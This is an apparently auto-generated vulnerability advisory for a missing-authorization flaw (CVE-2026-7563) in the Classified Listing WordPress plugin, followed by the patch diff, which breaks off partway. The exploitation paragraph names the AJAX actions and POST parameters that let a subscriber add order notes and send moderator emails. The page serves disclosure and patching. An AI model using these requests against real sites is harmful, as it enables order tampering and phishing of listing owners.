Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 14, 2026

CVE-2026-7563: Classified Listing <= 5.3.10 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Modification via add_order_note and send_email_to_user_by_moderator AJAX Actions (classified-listing)

CVE ID CVE-2026-7563
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 5.3.10
Patched Version 5.4.0
Disclosed May 13, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-7563:
This vulnerability affects the Classified Listing plugin for WordPress (versions up to 5.3.10). The plugin’s AJAX handlers for adding order notes and sending emails to users via moderator lack proper capability checks. This allows authenticated attackers with subscriber-level access to add arbitrary notes to any order and send unsolicited notification/moderation emails to listing owners. The CVSS score is 4.3 (Medium).

Root Cause:
The vulnerability stems from missing authorization checks in two AJAX action handlers. In ‘classified-listing/app/Controllers/Hooks/Comments.php’, the ‘add_order_note()’ function (line 32) verifies a nonce and checks for required POST parameters (‘post_id’, ‘note’, ‘note_type’) but does not check if the current user has the ‘manage_rtcl_options’ capability before processing. Similarly, in ‘classified-listing/app/Controllers/Ajax/ListingAdminAjax.php’, the ‘send_email_to_user_by_moderator()’ function (line 39) lacks any capability check before sending emails. The patch adds ‘current_user_can( ‘manage_rtcl_options’ )’ checks to both functions.

Exploitation:
An authenticated user with subscriber-level privileges can exploit these AJAX actions. For ‘add_order_note’, an attacker sends a POST request to ‘/wp-admin/admin-ajax.php’ with parameters: action=’rtcl_add_order_note’, post_id=[any order ID], note=[arbitrary text], note_type=’private’ or ‘public’, and the appropriate nonce (which is often retrievable from the page source or predictable). For ‘send_email_to_user_by_moderator’, the attacker sends a POST request to the same admin-ajax.php endpoint with action=’rtcl_send_email_to_user_by_moderator’ and the required email parameters, bypassing the missing capability check.

Patch Analysis:
The patch adds a capability check using ‘current_user_can( ‘manage_rtcl_options’ )’ at the beginning of both vulnerable functions. In ‘add_order_note()’, the check (line 35) executes before processing the note, causing a ‘wp_die(-1)’ response if unauthorized. In ‘send_email_to_user_by_moderator()’, the check (line 42) similarly sends a JSON error response if the user lacks the ‘manage_rtcl_options’ capability. Before the patch, these functions would execute regardless of the user’s role, as long as a valid nonce was provided.

Impact:
Successful exploitation allows an authenticated subscriber to add arbitrary notes to any order in the system, potentially inserting spam, malicious links, or misleading information visible to administrators or customers. Additionally, the attacker can trigger unsolicited email notifications to listing owners, which could be used for phishing, harassment, or social engineering attacks. This violates the principle of least privilege and exposes the order management system to unauthorized modification.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/classified-listing/app/Controllers/Admin/ScriptLoader.php
+++ b/classified-listing/app/Controllers/Admin/ScriptLoader.php
@@ -833,7 +833,7 @@
 			'jquery-ui-draggable',
 			'jquery-ui-tabs',
 		], $this->version, true );
-		wp_register_style( 'rtcl-admin', rtcl()->get_assets_uri( "css/rtcl-admin.min.css" ), '', $this->version );
+		wp_register_style( 'rtcl-admin', rtcl()->get_assets_uri( "css/rtcl-admin{$this->suffix}.css" ), '', $this->version );
 		wp_register_style( 'jquery-ui', rtcl()->get_assets_uri( 'vendor/jqueryui/1.12.1/themes/smoothness/jquery-ui.css' ), '', '1.12.1' );
 		wp_register_script( 'rtcl-admin-widget', rtcl()->get_assets_uri( 'js/admin-widget.min.js' ), [ 'jquery' ], $this->version );
 		wp_register_script( 'rtcl-timepicker', rtcl()->get_assets_uri( 'vendor/jquery-ui-timepicker-addon.js' ), [ 'jquery' ], $this->version, true );
--- a/classified-listing/app/Controllers/Ajax/ListingAdminAjax.php
+++ b/classified-listing/app/Controllers/Ajax/ListingAdminAjax.php
@@ -8,13 +8,12 @@
 class ListingAdminAjax {

 	public function __construct() {
-
 		add_action( 'wp_ajax_rtcl_custom_fields_listings', [ $this, 'ajax_callback_custom_fields' ], 10, 2 );
 		add_action( 'wp_ajax_rtcl_get_sub_location_options', [ $this, 'ajax_callback_get_location_for_contact' ] );

 		add_action(
 			'wp_ajax_nopriv_rtcl_get_sub_location_options',
-			[ $this, 'ajax_callback_get_location_for_contact' ]
+			[ $this, 'ajax_callback_get_location_for_contact' ],
 		);
 		add_action( 'wp_ajax_rtcl_delete_temp_listing', [ $this, 'delete_temp_listing' ] );

@@ -31,12 +30,22 @@
 		}
 		wp_send_json(
 			[
-				'html' => isset( $_POST['term_id'] ) ? Functions::get_listing_form_price_unit_html( absint( $_POST['term_id'] ) ) : ''
-			]
+				'html' => isset( $_POST['term_id'] ) ? Functions::get_listing_form_price_unit_html( absint( $_POST['term_id'] ) ) : '',
+			],
 		);
 	}

 	function send_email_to_user_by_moderator() {
+		if ( ! current_user_can( 'manage_rtcl_options' ) ) {
+			wp_send_json(
+				[
+					'error'   => true,
+					'message' => esc_html__( 'Unauthorized access!!!', 'classified-listing' ),
+					'class'   => 'rtcl-flash-warn',
+				],
+			);
+		}
+
 		$error = true;
 		$class = 'rtcl-flash-warn';
 		if ( wp_verify_nonce( isset( $_REQUEST[ rtcl()->nonceId ] ) ? $_REQUEST[ rtcl()->nonceId ] : null, rtcl()->nonceText ) ) {
@@ -66,13 +75,12 @@
 			[
 				'error'   => $error,
 				'message' => $message,
-				'class'   => $class
-			]
+				'class'   => $class,
+			],
 		);
 	}

 	function delete_temp_listing() {
-
 		if ( ! wp_verify_nonce( isset( $_REQUEST[ rtcl()->nonceId ] ) ? $_REQUEST[ rtcl()->nonceId ] : null, rtcl()->nonceText ) ) {
 			wp_send_json_error( __( 'Session expired.', 'classified-listing' ) );
 		}
@@ -83,11 +91,11 @@
 			wp_send_json(
 				[
 					'result' => 0,
-					'error'  => esc_html__( 'Post with given ID does not exist.', 'classified-listing' )
-				]
+					'error'  => esc_html__( 'Post with given ID does not exist.', 'classified-listing' ),
+				],
 			);
 		}
-
+
 		$post_author     = (int) $post->post_author;
 		$current_user_id = (int) get_current_user_id();
 		$can_delete      = false;
@@ -102,15 +110,15 @@
 			wp_send_json(
 				[
 					'result' => 0,
-					'error'  => esc_html__( 'You do not have permission to delete this listing.', 'classified-listing' )
-				]
+					'error'  => esc_html__( 'You do not have permission to delete this listing.', 'classified-listing' ),
+				],
 			);
 		}

 		$param    = [
 			'post_parent'      => $id,
 			'post_type'        => 'attachment',
-			'suppress_filters' => false
+			'suppress_filters' => false,
 		];
 		$children = get_posts( $param );

@@ -123,8 +131,8 @@
 		Functions::delete_post( $id );
 		wp_send_json(
 			[
-				'result' => 1
-			]
+				'result' => 1,
+			],
 		);
 	}

@@ -132,7 +140,7 @@
 		if ( ! wp_verify_nonce( isset( $_REQUEST[ rtcl()->nonceId ] ) ? $_REQUEST[ rtcl()->nonceId ] : null, rtcl()->nonceText ) ) {
 			wp_send_json_error( __( 'Session expired.', 'classified-listing' ) );
 		}
-
+
 		do_action( 'rtcl_set_local' );
 		$term_id   = absint( $_POST['term_id'] );
 		$locations = '';
@@ -147,17 +155,16 @@
 		}
 		wp_send_json(
 			[
-				'locations' => $locations
-			]
+				'locations' => $locations,
+			],
 		);
 	}

 	function ajax_callback_custom_fields( $post_id = 0, $term_id = 0 ) {
-
-		if (wp_doing_ajax() && ! wp_verify_nonce( isset( $_REQUEST[ rtcl()->nonceId ] ) ? $_REQUEST[ rtcl()->nonceId ] : null, rtcl()->nonceText ) ) {
+		if ( wp_doing_ajax() && ! wp_verify_nonce( isset( $_REQUEST[ rtcl()->nonceId ] ) ? $_REQUEST[ rtcl()->nonceId ] : null, rtcl()->nonceText ) ) {
 			wp_send_json_error( __( 'Session expired.', 'classified-listing' ) );
 		}
-
+
 		$ajax = false;

 		if ( isset( $_POST['term_id'] ) ) {
@@ -179,8 +186,8 @@
 			wp_send_json(
 				[
 					'custom_fields' => $customFields,
-					'child_cats'    => $child_cats
-				]
+					'child_cats'    => $child_cats,
+				],
 			);
 		} else {
 			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
--- a/classified-listing/app/Controllers/Hooks/Comments.php
+++ b/classified-listing/app/Controllers/Hooks/Comments.php
@@ -12,26 +12,6 @@
 	 * Hook in methods.
 	 */
 	public static function init() {
-		// Rating posts.
-		// add_filter('comments_open', array(__CLASS__, 'comments_open'), 10, 2);
-		// add_filter('preprocess_comment', array(__CLASS__, 'check_comment_is_allowed'), 0);
-		// add_filter('preprocess_comment', array(__CLASS__, 'check_comment_rating'), 1);
-		// add_filter('preprocess_comment', array(__CLASS__, 'check_comment_title'), 2);
-		// add_action('comment_post', array(__CLASS__, 'add_comment_rating'), 1);
-		// add_action('comment_post', array(__CLASS__, 'add_comment_title'), 1);
-		// add_action('comment_moderation_recipients', array(__CLASS__, 'comment_moderation_recipients'), 10, 2);
-		//
-		// Clear transients.
-		// add_action('wp_update_comment_count', array(__CLASS__, 'clear_transients'));
-		//
-		//
-		// Count comments.
-		// add_filter('wp_count_comments', array(__CLASS__, 'wp_count_comments'), 10, 2);
-		//
-		// Delete comments count cache whenever there is a new comment or a comment status changes.
-		// add_action('wp_insert_comment', array(__CLASS__, 'delete_comments_count_cache'));
-		// add_action('wp_set_comment_status', array(__CLASS__, 'delete_comments_count_cache'));
-
 		// Secure order notes.
 		add_filter( 'comments_clauses', [ __CLASS__, 'exclude_order_comments' ], 10, 1 );
 		add_filter( 'comment_feed_where', [ __CLASS__, 'exclude_order_comments_from_feed_where' ] );
@@ -49,7 +29,11 @@
 	 */
 	static function add_order_note() {
 		if ( ! wp_verify_nonce( isset( $_REQUEST[ rtcl()->nonceId ] ) ? $_REQUEST[ rtcl()->nonceId ] : null, rtcl()->nonceText ) || ! isset( $_POST['post_id'], $_POST['note'], $_POST['note_type'] ) ) {
-			wp_die( -1 );
+			wp_die( - 1 );
+		}
+
+		if ( ! current_user_can( 'manage_rtcl_options' ) ) {
+			wp_die( - 1 );
 		}

 		$post_id   = absint( $_POST['post_id'] );
@@ -69,13 +53,13 @@
 			ob_start();
 			?>
 			<li rel="<?php echo absint( $note->id ); ?>"
-				class="<?php echo esc_attr( implode( ' ', $note_classes ) ); ?>">
+			    class="<?php echo esc_attr( implode( ' ', $note_classes ) ); ?>">
 				<div class="note_content">
 					<?php echo wp_kses_post( wpautop( wptexturize( make_clickable( $note->content ) ) ) ); ?>
 				</div>
 				<p class="meta">
 					<abbr class="exact-date"
-						  title="<?php echo esc_attr( $note->date_created->date( 'y-m-d h:i:s' ) ); ?>">
+					      title="<?php echo esc_attr( $note->date_created->date( 'y-m-d h:i:s' ) ); ?>">
 						<?php
 						/* translators: $1: Date created, $2 Time created */
 						printf( esc_html__( 'added on %1$s at %2$s', 'classified-listing' ), esc_html( $note->date_created->date_i18n( Functions::date_format() ) ), esc_html( $note->date_created->date_i18n( Functions::time_format() ) ) );
@@ -105,7 +89,7 @@
 	 */
 	static function delete_order_note() {
 		$success = false;
-		if ( wp_verify_nonce( isset( $_REQUEST[ rtcl()->nonceId ] ) ? $_REQUEST[ rtcl()->nonceId ] : null, rtcl()->nonceText ) && current_user_can('manage_rtcl_options')) {
+		if ( wp_verify_nonce( isset( $_REQUEST[ rtcl()->nonceId ] ) ? $_REQUEST[ rtcl()->nonceId ] : null, rtcl()->nonceText ) && current_user_can( 'manage_rtcl_options' ) ) {
 			$note_id = isset( $_POST['note_id'] ) ? absint( $_POST['note_id'] ) : 0;
 			if ( $note_id > 0 ) {
 				$success = wp_delete_comment( $note_id, true );
@@ -175,7 +159,7 @@
 	/**
 	 * Validate the comment ratings.
 	 *
-	 * @param array $comment_data Comment data.
+	 * @param  array  $comment_data  Comment data.
 	 *
 	 * @return array
 	 */
@@ -194,7 +178,7 @@
 	/**
 	 * Validate the comment Title.
 	 *
-	 * @param array $comment_data Comment data.
+	 * @param  array  $comment_data  Comment data.
 	 *
 	 * @return array
 	 */
@@ -214,7 +198,7 @@
 	/**
 	 * Rating field for comments.
 	 *
-	 * @param int $comment_id Comment ID.
+	 * @param  int  $comment_id  Comment ID.
 	 */
 	public static function add_comment_rating( $comment_id ) {
 		if ( isset( $_POST['rating'], $_POST['comment_post_ID'] ) && rtcl()->post_type === get_post_type( absint( $_POST['comment_post_ID'] ) ) ) { // WPCS: input var ok, CSRF ok.
@@ -234,7 +218,7 @@
 	/**
 	 * Title field for comments.
 	 *
-	 * @param int $comment_id Comment ID.
+	 * @param  int  $comment_id  Comment ID.
 	 */
 	public static function add_comment_title( $comment_id ) {
 		if ( isset( $_POST['title'], $_POST['comment_post_ID'] ) && rtcl()->post_type === get_post_type( absint( $_POST['comment_post_ID'] ) ) && $title = sanitize_text_field( $_POST['title'] ) ) { // WPCS: input var ok, CSRF ok.
@@ -246,8 +230,8 @@
 	/**
 	 * Modify recipient of review email.
 	 *
-	 * @param array $emails Emails.
-	 * @param int   $comment_id Comment ID.
+	 * @param  array  $emails  Emails.
+	 * @param  int  $comment_id  Comment ID.
 	 *
 	 * @return array
 	 */
@@ -265,7 +249,7 @@
 	/**
 	 * Ensure product average rating and review count is kept up to date.
 	 *
-	 * @param int $post_id Post ID.
+	 * @param  int  $post_id  Post ID.
 	 */
 	public static function clear_transients( $post_id ) {
 		if ( rtcl()->post_type === get_post_type( $post_id ) ) {
@@ -278,7 +262,7 @@


 	/**
-	 * @param array $clauses A compacted array of comment query clauses.
+	 * @param  array  $clauses  A compacted array of comment query clauses.
 	 *
 	 * @return array
 	 */
@@ -291,7 +275,7 @@
 	/**
 	 * Exclude order comments from queries and RSS.
 	 *
-	 * @param string $where The WHERE clause of the query.
+	 * @param  string  $where  The WHERE clause of the query.
 	 *
 	 * @return string
 	 */
@@ -312,8 +296,8 @@
 	/**
 	 * Remove order notes and webhook delivery logs from wp_count_comments().
 	 *
-	 * @param object $stats Comment stats.
-	 * @param int    $post_id Post ID.
+	 * @param  object  $stats  Comment stats.
+	 * @param  int  $post_id  Post ID.
 	 *
 	 * @return object
 	 * @since  1.0.0
@@ -336,7 +320,7 @@
 					FROM {$wpdb->comments}
 					WHERE comment_type NOT IN ('rtcl_webhook_delivery')
 					GROUP BY comment_approved",
-					ARRAY_A
+					ARRAY_A,
 				);

 				$approved = [
@@ -377,7 +361,7 @@
 	/**
 	 * Make sure WP displays avatars for comments with the `review` type.
 	 *
-	 * @param array $comment_types Comment types.
+	 * @param  array  $comment_types  Comment types.
 	 *
 	 * @return array
 	 * @since  2.3
@@ -390,7 +374,7 @@
 	/**
 	 * Get listing rating count for a product. Please note this is not cached.
 	 *
-	 * @param Listing $listing Product instance.
+	 * @param  Listing  $listing  Product instance.
 	 *
 	 * @return int[]
 	 * @since 1.0.0
@@ -409,8 +393,8 @@
 			AND comment_approved = '1'
 			AND meta_value > 0
 			GROUP BY meta_value",
-				$listing->get_id()
-			)
+				$listing->get_id(),
+			),
 		);

 		foreach ( $raw_counts as $count ) {
@@ -429,7 +413,7 @@
 	/**
 	 * Get listing rating for a product. Please note this is not cached.
 	 *
-	 * @param Listing $listing Product instance.
+	 * @param  Listing  $listing  Product instance.
 	 *
 	 * @return float
 	 * @since 1.0.0
@@ -449,8 +433,8 @@
 				AND comment_post_ID = %d
 				AND comment_approved = '1'
 				AND meta_value > 0",
-					$listing->get_id()
-				)
+					$listing->get_id(),
+				),
 			);
 			$average = number_format( $ratings / $count, 2, '.', '' );
 		} else {
@@ -469,7 +453,7 @@
 	/**
 	 * Get listing review count for a liasting (not replies). Please note this is not cached.
 	 *
-	 * @param Listing $listing Listing instance.
+	 * @param  Listing  $listing  Listing instance.
 	 *
 	 * @return int
 	 * @since 1.0.0
@@ -484,8 +468,8 @@
 			WHERE comment_parent = 0
 			AND comment_post_ID = %d
 			AND comment_approved = '1'",
-				$listing->get_id()
-			)
+				$listing->get_id(),
+			),
 		);

 		$listing->set_review_count( $count );
--- a/classified-listing/app/Helpers/Functions.php
+++ b/classified-listing/app/Helpers/Functions.php
@@ -241,14 +241,14 @@

 			if ( in_array( $post_id, $favourites ) ) {
 				return '<a href="javascript:void(0)" class="rtcl-favourites rtcl-active ' . $button_class . '" data-id="' . $post_id
-					   . '"><span class="rtcl-icon rtcl-icon-heart"></span><span class="favourite-label">' . Text::remove_from_favourite() . '</span></a>';
+				       . '"><span class="rtcl-icon rtcl-icon-heart"></span><span class="favourite-label">' . Text::remove_from_favourite() . '</span></a>';
 			} else {
 				return '<a href="javascript:void(0)" class="rtcl-favourites ' . $button_class . '" data-id="' . $post_id
-					   . '"><span class="rtcl-icon rtcl-icon-heart-empty"></span><span class="favourite-label">' . Text::add_to_favourite() . '</span></a>';
+				       . '"><span class="rtcl-icon rtcl-icon-heart-empty"></span><span class="favourite-label">' . Text::add_to_favourite() . '</span></a>';
 			}
 		} else {
 			return '<a href="javascript:void(0)" class="rtcl-require-login ' . $button_class
-				   . '"><span class="rtcl-icon rtcl-icon-heart-empty"></span><span class="favourite-label">' . Text::add_to_favourite() . '</span></a>';
+			       . '"><span class="rtcl-icon rtcl-icon-heart-empty"></span><span class="favourite-label">' . Text::add_to_favourite() . '</span></a>';
 		}
 	}

@@ -270,7 +270,7 @@
 	 */
 	public static function is_account_page( $endpoint = null ) {
 		$is_account_page = is_page( self::get_page_id( 'myaccount' ) ) || self::post_content_has_shortcode( 'rtcl_my_account' )
-						   || apply_filters( 'rtcl_is_account_page', false );
+		                   || apply_filters( 'rtcl_is_account_page', false );
 		if ( $is_account_page && $endpoint ) {
 			global $wp;

@@ -403,7 +403,7 @@
 	 */
 	public static function is_listing_form_page() {
 		return is_page( self::get_page_id( 'listing_form' ) ) || self::post_content_has_shortcode( 'rtcl_listing_form' )
-			   || apply_filters( 'rtcl_is_listing_form_page', false );
+		       || apply_filters( 'rtcl_is_listing_form_page', false );
 	}

 	/**
@@ -413,7 +413,7 @@
 	 */
 	public static function is_checkout_page( $endpoint = null ) {
 		$is_checkout_page = is_page( self::get_page_id( 'checkout' ) ) || self::post_content_has_shortcode( 'rtcl_checkout' )
-							|| apply_filters( 'rtcl_is_checkout_page', false );
+		                    || apply_filters( 'rtcl_is_checkout_page', false );

 		if ( $is_checkout_page && $endpoint ) {
 			global $wp;
@@ -459,7 +459,7 @@

 		$has_captcha = false;
 		if ( ! empty( $misc_settings['recaptcha_forms'] ) && is_array( $misc_settings['recaptcha_forms'] ) && ! empty( $misc_settings['recaptcha_site_key'] )
-			 && ! empty( $misc_settings['recaptcha_secret_key'] )
+		     && ! empty( $misc_settings['recaptcha_secret_key'] )
 		) {
 			if ( in_array( $form, $misc_settings['recaptcha_forms'] ) ) {
 				$has_captcha = true;
@@ -473,7 +473,7 @@
 			if ( '' !== $response ) {
 				// make a GET request to the Google reCAPTCHA Server
 				$request = wp_remote_get( 'https://www.google.com/recaptcha/api/siteverify?secret=' . $misc_settings['recaptcha_secret_key'] . '&response='
-										  . $response . '&remoteip=' . $_SERVER['REMOTE_ADDR'] );
+				                          . $response . '&remoteip=' . $_SERVER['REMOTE_ADDR'] );

 				// get the request response body
 				$response_body = wp_remote_retrieve_body( $request );
@@ -521,16 +521,16 @@
 				'orderby'          => 'menu_order',
 				'order'            => 'ASC',
 				'meta_query'       => [ // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
-										[
+				                        [
 											[
 												'key'   => 'pricing_type',
-												'value' => 'regular',
+						                        'value' => 'regular',
 											],
-											[
+					                        [
 												'key'     => 'pricing_type',
-												'compare' => 'NOT EXISTS',
+						                        'compare' => 'NOT EXISTS',
 											],
-											'relation' => 'OR',
+					                        'relation' => 'OR',
 										],
 				],
 				'suppress_filters' => false,
@@ -596,7 +596,7 @@
 			'5.3.7',
 			__CLASS__ . '::is_tag_enabled()',
 		);
-
+
 		return ! self::is_tag_enabled();
 	}

@@ -1250,8 +1250,8 @@
 				} elseif ( rtcl()->location === $args['taxonomy'] && ! empty( $args['instance']['current_taxonomy'][ rtcl()->category ] ) ) {
 					$allTaxonomyLink = get_term_link( (object) $args['instance']['current_taxonomy'][ rtcl()->category ] );
 				} elseif ( rtcl()->tag === $args['taxonomy']
-						   && ( ! empty( $args['instance']['current_taxonomy'][ rtcl()->category ] )
-								|| ! empty( $args['instance']['current_taxonomy'][ rtcl()->location ] ) )
+				           && ( ! empty( $args['instance']['current_taxonomy'][ rtcl()->category ] )
+				                || ! empty( $args['instance']['current_taxonomy'][ rtcl()->location ] ) )
 				) {
 					if ( ! empty( $args['instance']['current_taxonomy'][ rtcl()->category ] ) ) {
 						$allTaxonomyLink = get_term_link( (object) $args['instance']['current_taxonomy'][ rtcl()->category ] );
@@ -1347,7 +1347,7 @@
 				if ( $args['taxonomy'] == rtcl()->category ) {
 					if ( ! empty( $tag_query_var ) && ! empty( $location_query_var ) ) {
 						$term_link = Link::get_listings_page_link() . "$category_base/" . $term->slug . "/$location_base/" . $location_query_var . '/tag/'
-									 . $tag_query_var;
+						             . $tag_query_var;
 					} elseif ( ! empty( $location_query_var ) ) {
 						$term_link = Link::get_listings_page_link() . "$category_base/" . $term->slug . "/$location_base/" . $location_query_var;
 					} elseif ( ! empty( $tag_query_var ) ) {
@@ -1358,7 +1358,7 @@
 				} elseif ( $args['taxonomy'] == rtcl()->location ) {
 					if ( ! empty( $tag_query_var ) && ! empty( $category_query_var ) ) {
 						$term_link = Link::get_listings_page_link() . "$category_base/" . $category_query_var . "/$location_base/" . $term->slug . '/tag/'
-									 . $tag_query_var;
+						             . $tag_query_var;
 					} elseif ( ! empty( $category_query_var ) ) {
 						$term_link = Link::get_listings_page_link() . "$category_base/" . $category_query_var . "/$location_base/" . $term->slug;
 					} elseif ( ! empty( $tag_query_var ) ) {
@@ -1369,7 +1369,7 @@
 				} elseif ( $args['taxonomy'] == rtcl()->tag ) {
 					if ( ! empty( $location_query_var ) && ! empty( $category_query_var ) ) {
 						$term_link = Link::get_listings_page_link() . "$category_base/" . $category_query_var . "/$location_base/" . $location_query_var
-									 . '/tag/' . $term->slug;
+						             . '/tag/' . $term->slug;
 					} elseif ( ! empty( $category_query_var ) ) {
 						$term_link = Link::get_listings_page_link() . "$category_base/" . $category_query_var . '/tag/' . $term->slug;
 					} elseif ( ! empty( $location_query_var ) ) {
@@ -1766,7 +1766,7 @@
 		$listing         = $post_id ? rtcl()->factory->get_listing( $post_id ) : null;
 		// If editing, deleting, or reading a listing, get the post and post type object.
 		if ( $listing && ( $current_user_id === $listing->get_author_id() || current_user_can( 'administrator' ) )
-			 && in_array( $capability,
+		     && in_array( $capability,
 				[
 					'edit_rtcl_listing',
 					'delete_rtcl_listing',
@@ -1913,14 +1913,15 @@
 						$args['show_option_none'],
 					);
 				} else {
-					$html .= sprintf( '<div class="rtcl-child-terms rtcl-child-terms-%d">', $args['parent'] );
-					$html .= sprintf(
+					$html                 .= sprintf( '<div class="rtcl-child-terms rtcl-child-terms-%d">', $args['parent'] );
+					$html                 .= sprintf(
 						'<select class="%s" data-taxonomy="%s" data-parent="%d" aria-label="sub-terms">',
 						$args['class'],
 						$args['taxonomy'],
 						$args['parent'],
 					);
-					$html .= sprintf( '<option value="%d">%s</option>', $args['parent'], '---' );
+					$sub_cat_option_label = apply_filters( 'rtcl_sub_cat_option_label', esc_html__( 'Select a sub-category', 'classified-listing' ) );
+					$html                 .= sprintf( '<option value="%d">%s</option>', $args['parent'], $sub_cat_option_label );
 				}

 				foreach ( $terms as $term ) {
@@ -2155,24 +2156,24 @@
 		];
 		if ( $category_id === 'global' ) {
 			$args['meta_query'] = [ // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
-									[
+			                        [
 										'key'   => 'associate',
-										'value' => 'all',
+				                        'value' => 'all',
 									],
 			];
 		} elseif ( $category_id ) {
 			$args['tax_query']  = [ // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_tax_query
-									[
+			                        [
 										'taxonomy'         => rtcl()->category,
-										'field'            => 'term_id',
-										'terms'            => $category_id,
-										'include_children' => false,
+				                        'field'            => 'term_id',
+				                        'terms'            => $category_id,
+				                        'include_children' => false,
 									],
 			];
 			$args['meta_query'] = [ // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
-									[
+			                        [
 										'key'   => 'associate',
-										'value' => 'categories',
+				                        'value' => 'categories',
 									],
 			];
 		}
@@ -2365,7 +2366,7 @@
 				case 'date':
 					$date_type   = $field->getDateType();
 					$date_type   = $date_type
-								   && in_array( $date_type,
+					               && in_array( $date_type,
 						[
 							'date',
 							'date_range',
@@ -2514,15 +2515,15 @@
 			'orderby'        => 'menu_order',
 			'order'          => 'ASC',
 			'meta_query'     => [ // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
-								  'relation' => 'OR',
-								  [
+			                      'relation' => 'OR',
+			                      [
 									  'key'     => '_rtcl_attachment_type',
-									  'value'   => 'image',
-									  'compare' => '=',
+				                      'value'   => 'image',
+				                      'compare' => '=',
 								  ],
-								  [
+			                      [
 									  'key'     => '_rtcl_attachment_type',
-									  'compare' => 'NOT EXISTS',
+				                      'compare' => 'NOT EXISTS',
 								  ],
 			],
 		];
@@ -3007,7 +3008,7 @@
 	 */
 	public static function set_time_limit( $limit = 0 ) {
 		if ( function_exists( 'set_time_limit' ) && false === strpos( ini_get( 'disable_functions' ), 'set_time_limit' )
-			 && ! ini_get( 'safe_mode' )
+		     && ! ini_get( 'safe_mode' )
 		) { // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.safe_modeDeprecatedRemoved
 			@set_time_limit( $limit ); // @codingStandardsIgnoreLine
 		}
@@ -3053,7 +3054,7 @@
 	 */
 	public static function get_page_id( $page ) {
 		if ( 'pay' === $page || 'thanks' === $page || 'promote' === $page || 'submission' === $page || 'payment-receipt' === $page
-			 || 'payment-failure' === $page
+		     || 'payment-failure' === $page
 		) {
 			$page = 'checkout';
 		}
@@ -3920,7 +3921,7 @@

 		if ( is_wp_error( $user_id ) ) {
 			return new WP_Error( 'registration-error', '<strong>' . esc_html__( 'Error:', 'classified-listing' ) . '</strong> '
-													   . esc_html__( 'Couldn’t register you… please contact us if you continue to have problems.',
+			                                           . esc_html__( 'Couldn’t register you… please contact us if you continue to have problems.',
 					'classified-listing' ) );
 		}

@@ -4790,9 +4791,9 @@

 	public static function is_enable_map() {
 		return self::has_map()
-			   && ( 'osm' === self::get_map_type()
-					|| ( 'google' === self::get_map_type()
-						 && self::get_option_item( 'rtcl_misc_map_settings', 'map_api_key' ) ) );
+		       && ( 'osm' === self::get_map_type()
+		            || ( 'google' === self::get_map_type()
+		                 && self::get_option_item( 'rtcl_misc_map_settings', 'map_api_key' ) ) );
 	}

 	public static function has_map() {
@@ -4960,7 +4961,7 @@
 		$cur_mn = gmdate( 'i', $time_adj );

 		$month = '<label><span class="screen-reader-text">' . esc_html__( 'Month', 'classified-listing' ) . '</span><select class="rtcl-mm" name="' . $name
-				 . '-mm"' . $tab_index_attribute . ">n";
+		         . '-mm"' . $tab_index_attribute . ">n";
 		for ( $i = 1; $i < 13; $i = $i + 1 ) {
 			$monthnum  = zeroise( $i, 2 );
 			$monthtext = $wp_locale->get_month_abbrev( $wp_locale->get_month( $i ) );
@@ -4971,13 +4972,13 @@
 		$month .= '</select></label>';

 		$day    = '<label><span class="screen-reader-text">' . esc_html__( 'Day', 'classified-listing' ) . '</span><input type="text" class="rtcl-jj" name="'
-				  . $name . '-jj" value="' . $jj . '" size="2" maxlength="2"' . $tab_index_attribute . ' autocomplete="off" /></label>';
+		          . $name . '-jj" value="' . $jj . '" size="2" maxlength="2"' . $tab_index_attribute . ' autocomplete="off" /></label>';
 		$year   = '<label><span class="screen-reader-text">' . esc_html__( 'Year', 'classified-listing' ) . '</span><input type="text" class="rtcl-aa" name="'
-				  . $name . '-aa" value="' . $aa . '" size="4" maxlength="4"' . $tab_index_attribute . ' autocomplete="off" /></label>';
+		          . $name . '-aa" value="' . $aa . '" size="4" maxlength="4"' . $tab_index_attribute . ' autocomplete="off" /></label>';
 		$hour   = '<label><span class="screen-reader-text">' . esc_html__( 'Hour', 'classified-listing' ) . '</span><input type="text" class="rtcl-hh" name="'
-				  . $name . '-hh" value="' . $hh . '" size="2" maxlength="2"' . $tab_index_attribute . ' autocomplete="off" /></label>';
+		          . $name . '-hh" value="' . $hh . '" size="2" maxlength="2"' . $tab_index_attribute . ' autocomplete="off" /></label>';
 		$minute = '<label><span class="screen-reader-text">' . esc_html__( 'Minute', 'classified-listing' ) . '</span><input type="text" class="rtcl-mn" name="'
-				  . $name . '-mn" value="' . $mn . '" size="2" maxlength="2"' . $tab_index_attribute . ' autocomplete="off" /></label>';
+		          . $name . '-mn" value="' . $mn . '" size="2" maxlength="2"' . $tab_index_attribute . ' autocomplete="off" /></label>';

 		echo '<div class="rtcl-timestamp-wrapper">';
 		echo sprintf( '<span class="rtcl-timestamp">%s</span>', sprintf( __( 'Expired on: <b>%1$s</b>', 'classified-listing' ), $formatted_date ) );
@@ -5122,17 +5123,17 @@
 					$field .= '<strong>' . current( array_values( $countries ) ) . '</strong>';

 					$field .= '<input type="hidden" name="' . esc_attr( $key ) . '" id="' . esc_attr( $args['id'] ) . '" value="'
-							  . current( array_keys( $countries ) ) . '" ' . implode( ' ', $custom_attributes )
-							  . ' class="country_to_state" readonly="readonly" />';
+					          . current( array_keys( $countries ) ) . '" ' . implode( ' ', $custom_attributes )
+					          . ' class="country_to_state" readonly="readonly" />';
 				} else {
 					$data_label = ! empty( $args['label'] ) ? 'data-label="' . esc_attr( $args['label'] ) . '"' : '';

 					$field = '<select name="' . esc_attr( $key ) . '" id="' . esc_attr( $args['id'] )
-							 . '" class="rtcl-form-control country_to_state country_select '
-							 . esc_attr( implode( ' ', $args['input_class'] ) ) . '" ' . implode( ' ', $custom_attributes ) . ' data-placeholder="'
-							 . esc_attr( $args['placeholder'] ? $args['placeholder'] : esc_attr__( 'Select a country / region…', 'classified-listing' ) )
